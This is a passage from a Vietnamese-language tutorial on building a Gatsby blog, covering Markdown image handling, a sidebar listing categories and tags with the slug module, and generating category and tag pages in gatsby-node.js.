<em>gatsby-remark-images</em> để xử lý ảnh sử dụng trong Markdown nên mình phải đặt nó trong phần <em>plugins</em> của <em>gatsby-transformer-remark</em>.</p> <p>Bây giờ, chạy lại server và bạn sẽ thấy kết quả như mong đợi:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 98.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADl0lEQVQ4y32SX0xbVRzHb41gobSslHUtbssWl8mDRcBEINElugAze1hbdKUFYUyTGQJmSTON0RhfTJb45Ishc5KRiJMs4oLGbGx0T0i2clvae+69597+O/fc23a091/bgfpmWs1wbO6T38N5+Zzf9/fLjxgYGBweHvb5fF6v1+N29/f3+/3+YDA4PT19rsbk5KTf7+/s7LRara2trbYabW1tDoeDcLlcHR0db5048cPVq/Pz81fm5hav/3xr5Xbozp2VUGilSujm8vKPCwuXq3w3Ozs7MzPT1d3tdDqJnq6uvt6+148dc7s9Y6NDgUDAd3rY6/VMjPkCgZGz42+PBt4ZH/OPj42ce/9d79Dps2f8702MvvHm8d7eHoJcD/McC2hARqLRSCQSiZLrZDi8Hg6HI5FoOMyxLM/zHIQcz/MQcv+QySCEBCIWy0Co39/UVU2TZVVRVE3VVFWTi7Kq6pK0pWmVSqVSLu+uSuUBkUphjAs8n0JIQAhjAVcfGYQEASGkKLKm6Wrtu12laTqBMRYx2tiIAQoAQMfjcQCYWCwOaBpCrlB4qoyQgDGmaQZCDrKQZViWZWGV6pyyrGjak818Pk/UogoA0ADQDMPSADAME49XY1AUyOXyj3dWFFXXSxiLhCAIAhIg5Hk+wULIspDjeI7jk8kUy7JPkUVRIgQBo3SmOjNgGJqpzQyoGtFoFIuSrpf+V8bZXHazyCSSPEI8EjKilBGzibSYRDiFRXGzUPnjT/XR5jsyBHSGpenwvdQ9MklGcihRFFLK/XQBpXMUl2d4KZGUZeW//o58++ORSP+euSP2pRdabrS3UIf3cT2H6OBRKtib/vC1axbLxfb9AgtKlS1FVnbL8c99ajNx11L3+6CZHrdhj4UdtFB+Y9LbWrzwyrKp8YrLVkSUVt6uXt/u2PP+4tQz6y4j69nDfXXor5CT/8Cx+mJ9rKtJNJvXnjd+47JjQJUebD+hs/Stt/CFYa3dxLxsX+xuunaycXXg4ILJtGgwQGtL5tUW8owjvUGVtx6XRSL5mRcOEUvNDTcP2y5aG88Thkt7zYsO82/2pl/2Otb6mvKf7CtJQNG3HsZWVU3XS1I2S9z6yE36iEv7jV8a6r4+Uv/9qcafDhhjJiNjM994yUiO1EnnnapAq6VH5H9ve2ni1OUDxNJJy/Xj9eTUs/BC/a/2hlWzcaWhmew3iZ8+F5s6mCJBeXtn2w/D/w3R7U85W6tmSAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nội bung bài viết đã hiển thị được ảnh" title="Nội bung bài viết đã hiển thị được ảnh" src="/static/7e0b07d1225a92dacf59544b2d06dbca/7c811/gatsby-post-image-ok.png" srcset="/static/7e0b07d1225a92dacf59544b2d06dbca/103f2/gatsby-post-image-ok.png 165w, /static/7e0b07d1225a92dacf59544b2d06dbca/748ba/gatsby-post-image-ok.png 330w, /static/7e0b07d1225a92dacf59544b2d06dbca/7c811/gatsby-post-image-ok.png 660w, /static/7e0b07d1225a92dacf59544b2d06dbca/18baa/gatsby-post-image-ok.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đúng ra, theo dự định ban đầu mình sẽ giới thiệu phần tích hợp bình luận và chia sẻ lên mạng xã hội. Tuy nhiên, phần này khá đơn giản vì có nhiều React Component hỗ trợ sẵn. Bạn cứ search Google thì sẽ ra. Còn nếu bạn không biết search kiểu gì thì để lại câu hỏi trong phần bình luận mình sẽ giải đáp sau.</p> <p>Như vậy là đã gần xong rồi. Tiếp theo mình sẽ chia sẻ phần phân loại bài viết theo chuyên mục và thẻ.</p> <h3 id="tạo-template-hiển-thị-danh-sách-bài-viết-theo-chuyên-mục-thẻ" style="position:relative;"><a href="#t%E1%BA%A1o-template-hi%E1%BB%83n-th%E1%BB%8B-danh-s%C3%A1ch-b%C3%A0i-vi%E1%BA%BFt-theo-chuy%C3%AAn-m%E1%BB%A5c-th%E1%BA%BB" aria-label="tạo template hiển thị danh sách bài viết theo chuyên mục thẻ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo template hiển thị danh sách bài viết theo chuyên mục, thẻ</h3> <h4 id="liệt-kê-các-chuyên-mục-và-thẻ-lên-sidebar" style="position:relative;"><a href="#li%E1%BB%87t-k%C3%AA-c%C3%A1c-chuy%C3%AAn-m%E1%BB%A5c-v%C3%A0-th%E1%BA%BB-l%C3%AAn-sidebar" aria-label="liệt kê các chuyên mục và thẻ lên sidebar permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Liệt kê các chuyên mục và thẻ lên sidebar</h4> <p>Trước khi hiển thị danh sách các bài viết theo chuyên mục hay thẻ thì mình cần phải liệt kê chúng và cho lên sidebar trước đã. Để làm được việc này, mình sẽ sửa trong file <em>/src/components/layout.js</em>.</p> <p>Ý tưởng của mình là sẽ duyệt hết tất cả các bài viết và lấy ra mảng các chuyên mục và thẻ ở mỗi bài, rồi sử dụng chúng để liệt kê chúng lên sidebar. Nhưng trước tiên mình sẽ cài đặt một node module tên là <em>slug</em> - để chuyển tên chuyên mục, thẻ thành <em>slug</em>.</p> <p>Module này có hỗ trợ tiếng việt. Ví dụ: chuyên mục "Lập trình JavaScript" sẽ chuyển thành "lap-trinh-javascript".</p> <p>Câu lệnh cài đặt như sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> --save slug</code></pre></div> <p>Sau đó mình bắt đầu sửa file <em>/src/components/layout.js</em>.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./layout.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Menu <span class="token keyword">from</span> <span class="token string">"./menu"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Sidebar <span class="token keyword">from</span> <span class="token string">"./sidebar"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> StaticQuery<span class="token punctuation">,</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> children <span class="token punctuation">}</span> <span class="token operator">=</span> props<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>StaticQuery query<span class="token operator">=</span><span class="token punctuation">{</span>graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { site { siteMetadata { title } } topics: allMarkdownRemark( sort: { order: DESC, fields: [frontmatter___date] } ) { edges { node { frontmatter { categories tags } } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span> render<span class="token operator">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"app"</span><span class="token operator">></span> <span class="token operator">&lt;</span>Menu title<span class="token operator">=</span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>site<span class="token punctuation">.</span>siteMetadata<span class="token punctuation">.</span>title<span class="token punctuation">}</span> <span class="token operator">/</span><span class="token operator">></span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"main"</span><span class="token operator">></span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"content"</span><span class="token operator">></span><span class="token punctuation">{</span>children<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"sidebar"</span><span class="token operator">></span> <span class="token operator">&lt;</span>Sidebar edges<span class="token operator">=</span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>topics<span class="token punctuation">.</span>edges<span class="token punctuation">}</span> <span class="token operator">/</span><span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">/</span><span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong phần query GraphQL, mình đã thêm vào phần duyệt tất cả file Markdown. Dữ liệu thu được mình sẽ truyền nó vào Sidebar.</p> <p>Tiếp theo, sử dụng chúng trong Sidebar, bằng cách sửa file <em>/src/components/sidebar.js</em>.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/sidebar.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./sidebar.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> slug <span class="token keyword">from</span> <span class="token string">"slug"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> Link <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> edges <span class="token punctuation">}</span> <span class="token operator">=</span> props<span class="token punctuation">;</span> <span class="token keyword">let</span> tags <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> categories <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> edges<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> tags <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>tags<span class="token punctuation">,</span> <span class="token operator">...</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>tags<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> categories <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>categories<span class="token punctuation">,</span> <span class="token operator">...</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>categories<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>aside<span class="token operator">></span> <span class="token operator">&lt;</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>h3<span class="token operator">></span>Chuyên mục<span class="token operator">&lt;</span><span class="token operator">/</span>h3<span class="token operator">></span> <span class="token punctuation">{</span>categories<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">category<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>p key<span class="token operator">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span><span class="token operator">></span> <span class="token operator">&lt;</span>Link to<span class="token operator">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/category/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">slug</span><span class="token punctuation">(</span>category<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span><span class="token operator">></span> <span class="token punctuation">{</span>category<span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>Link<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>p<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>h3<span class="token operator">></span>Thẻ<span class="token operator">&lt;</span><span class="token operator">/</span>h3<span class="token operator">></span> <span class="token punctuation">{</span>tags<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">tag<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>span key<span class="token operator">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span><span class="token operator">></span> <span class="token operator">&lt;</span>Link to<span class="token operator">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/tag/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">slug</span><span class="token punctuation">(</span>tag<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span><span class="token operator">></span><span class="token punctuation">{</span>tag<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>Link<span class="token operator">></span><span class="token punctuation">{</span><span class="token string">" "</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>span<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>aside<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/sidebar.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">aside</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0 15px<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Có một điều cần chú ý ở đây là các chuyên mục và thẻ có thể xuất hiện ở nhiều bài viết. Vì vậy, mình cần phải sử dụng kiểu dữ liệu <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a> để tạo ra mảng các chuyên mục và thẻ với các phần tử là duy nhất.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> tags <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> categories <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> edges<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> tags <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>tags<span class="token punctuation">,</span> <span class="token operator">...</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>tags<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> categories <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>categories<span class="token punctuation">,</span> <span class="token operator">...</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>categories<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau khi đã có mảng các chuyên mục và thẻ với các phần tử là duy nhất rồi, mình render chúng lên sidebar như bình thường. Kết quả mình thu được:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 90.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAADN0lEQVQ4y22SXU8bRxSG9180ImojteUm6nWTKKH5FTQStyiBC5MYMA0hUptKrdoIVCqjSLSOiKn/QZIf0FIhgdcGr+3d9e7M7M5+eHe9HzP7YYyKF6lajKBUkV4dzVw8877nnGG+un9/cnJyampqZmbm4aNH09PTKysrm5ubxY2N1dW11bW1X9bXv3vx/dcPHty+c2diYuLuvXtf3rp145MbY2NjzMfXr3/26ec3b37xw48/FTd+XS8WS6+3tsrlSqW8Xan8USlvb5fL229+L5VKpd+KG6+2tl6/fPnz+Pj4tY+uMbmZhy++XX7+fCmfz60s55aX5wuL+blc7pvC3JMn+aXC3Hw+V1icKyw+Xio8np2dfbqUW1zIP3v2dGFhnmm1MManKv7HNIemmarq0HWHaZqenKTDYVbT9LTfT4MgHQzSJD4l9PT4OKU0dRyPOaiLqnoEQIhQiHEIYWh2oyAIXNf3vHPZVmAY1PNI1/R13Xccz+wSUZSZ3d0diDqyLEiSAKGEkNRscrbdozQkhBJCKQ01rIgi3+lIPbcXRSEhJE4ihBDz985Os9lst9p8m2+3eZ4XWbZuWQ6lYRCQIKCUUlV1MbZs2/Y8nxAaBCQMz+D9PcBxJ1zjiOMGlpUQEozcwjAKw4jSkFKKcex68ZknvQKz7KEsGTyvCIIiSQghBABACGGsAQgt26GUKorZc70oyh66Ah/UWQAESeZlqQ0hQEgFACKkIKQAmB1c11NVA2PHcULXvQpXq01RtDodSxAs0/QIIUFALmNnyalhRDIIAaCmmY3gEt7d5RuN5PAwqNWooviOYxlmt9dz/YD4fuD7oxGQKKJR9s7/Yh/UdB1pGCLUgVCGEEkykGUoZxXIkuz5owmf6wpcq9cEoS3wbZ4XmlxLw5qhG4Zhmoap64ahG6P1/FeX8N6eyPNHHBd1rdDzXDebahzH/ThO4jhJkv7Fb/kAXK1ynU6v1TIRyhwx1nRN1/Uz+8xcd11v1PyFRllkGTCNxqGmKWq2GkVVMQDn3SJFARCpKu527STp9/tHF0qS/mBwbFk28/bd+7/+3KlW2VqtPhLL1lm2dnGtVtkPan9//19J8m4f+I2bAgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Liệt kê thẻ, chuyên mục lên sidebar" title="Liệt kê thẻ, chuyên mục lên sidebar" src="/static/0e659ff600541381d2d90d72cb8e829e/7c811/gatsby-liet-ke-chuyen-muc-the.png" srcset="/static/0e659ff600541381d2d90d72cb8e829e/103f2/gatsby-liet-ke-chuyen-muc-the.png 165w, /static/0e659ff600541381d2d90d72cb8e829e/748ba/gatsby-liet-ke-chuyen-muc-the.png 330w, /static/0e659ff600541381d2d90d72cb8e829e/7c811/gatsby-liet-ke-chuyen-muc-the.png 660w, /static/0e659ff600541381d2d90d72cb8e829e/18baa/gatsby-liet-ke-chuyen-muc-the.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Cũng tương tự như phần liệt kê danh sách cách bài viết tại trang chủ, lúc này mình mới chỉ liệt kê ra các thẻ với <em>Link</em> đến trang tương ứng mà chưa định nghĩa các trang đó. Phần tiếp theo mình sẽ thực hiện việc này.</p> <h4 id="tạo-các-trang-tương-ứng-với-chuyên-mục-và-thẻ" style="position:relative;"><a href="#t%E1%BA%A1o-c%C3%A1c-trang-t%C6%B0%C6%A1ng-%E1%BB%A9ng-v%E1%BB%9Bi-chuy%C3%AAn-m%E1%BB%A5c-v%C3%A0-th%E1%BA%BB" aria-label="tạo các trang tương ứng với chuyên mục và thẻ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo các trang tương ứng với chuyên mục và thẻ</h4> <p>Để tạo ra các trang tương ứng với chuyên mục và thẻ mình cần phải thực hiện trong Gatsby API <em>createPages</em> ở file <em>/gatsby-node.js</em>.</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-node.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> path <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">path</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> slug <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">slug</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * onCreateNode không thay đổi */</span> exports<span class="token punctuation">.</span><span class="token function-variable function">createPages</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> graphql<span class="token punctuation">,</span> actions <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> createPage <span class="token punctuation">}</span> <span class="token operator">=</span> actions<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">graphql</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> { allMarkdownRemark { edges { node { frontmatter { categories tags } fields { slug } } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> tags <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> categories <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> result<span class="token punctuation">.</span>data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> tags <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>tags<span class="token punctuation">,</span> <span class="token operator">...</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>tags<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> categories <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>categories<span class="token punctuation">,</span> <span class="token operator">...</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>categories<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">createPage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">path</span><span class="token operator">:</span> node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token literal-property property">component</span><span class="token operator">:</span> path<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">./src/templates/blog-post.js</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">context</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token comment">// Data passed to context is available in page queries</span> <span class="token comment">// as GraphQL variables.</span> <span class="token literal-property property">slug</span><span class="token operator">:</span> node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> categories<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">category</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">createPage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">path</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/category/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">slug</span><span class="token punctuation">(</span>category<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">component</span><span class="token operator">:</span> path<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">./src/templates/categories.js</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span 